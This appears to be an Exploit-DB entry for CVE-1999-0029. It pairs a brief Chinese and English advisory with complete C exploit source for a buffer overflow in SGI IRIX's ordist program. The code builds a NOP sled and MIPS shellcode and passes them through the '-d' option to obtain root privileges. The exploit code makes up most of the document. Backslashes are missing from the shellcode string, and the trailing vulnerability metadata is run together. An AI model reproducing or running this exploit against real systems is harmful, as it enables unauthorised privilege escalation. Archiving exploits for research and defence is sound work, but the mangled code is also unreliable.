https://www.exploit-db.com/exploits/19317
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199707-030

基于SGIIRIX系统的ordist命令存在缓冲区溢出漏洞。可以借助该漏洞获得根特权。

source: http://www.securityfocus.com/bid/415/info

A buffer overflow exists in the ordist program, as shipped with Irix 6.x and 5.x from Silicon Graphics. By supplying long arguments to the '-d' option, containing a properly crafted buffer of machine exectuable code, root privilege can be obtained. 

#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 306
#define OFFS 800
#define ADDRS 2
#define ALIGN 2

void run(unsigned char *buf) {

  execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL);
  printf("execl failedn");
}

char asmcode[]="x3cx18x2fx62x37x18x69x6ex3cx19x2fx73x37x39x68x2exafxb8xffxf8xafxb9xffxfcxa3xa0xffxffx27xa4xffxf8x27xa5xffxf0x01x60x30x24xafxa4xffxf0xafxa0xffxf4x24x02x04x23x02x04x8dx0c";
char nop[]="x24x0fx12x34";

unsigned long get_sp(void) {
__asm__("or     $2,$sp,$0");
}

/* this align stuff sux - i do know. */
main(int argc, char *argv[]) {
  char *buf, *ptr, addr[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop);

  if (argc >1) bufsize=atoi(argv[1]);
  if (argc >2) offs=atoi(argv[2]);
  if (argc >3) addrs=atoi(argv[3]);
  if (argc >4) align=atoi(argv[4]);

  if (bufsize<strlen(asmcode)) {
    printf("bufsize too small, code is %d bytes longn", strlen(asmcode));
    exit(1);
  }
  if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
    printf("Can't mallocn");
    exit(1);
  }
  *(int *)addr=get_sp()+offs;
  printf("address - %pn", *(int *)addr);

  strcpy(buf, nop);
  ptr=buf+noplen;
  buf+=noplen-bufsize % noplen;
  bufsize-=bufsize % noplen;

  for (i=0; i<bufsize; i++)
    *ptr++=nop[i % noplen];
  memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
    memcpy(ptr, nop, strlen(nop));
    ptr+=align;
  for (i=0; i<addrs<<2; i++)
    *ptr++=addr[i % sizeof(int)];
  *ptr=0;
  printf("total buf len - %dn", strlen(buf));

  run(buf);
}

VulnerablesoftwareandversionsConfiguration1OR*cpe:/o:sgi:irix*DenotesVulnerableSoftware*ChangesrelatedtovulnerabilityconfigurationsTechnicalDetailsVulnerabilityType(ViewAll)CVEStandardVulnerabilityEntry:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0029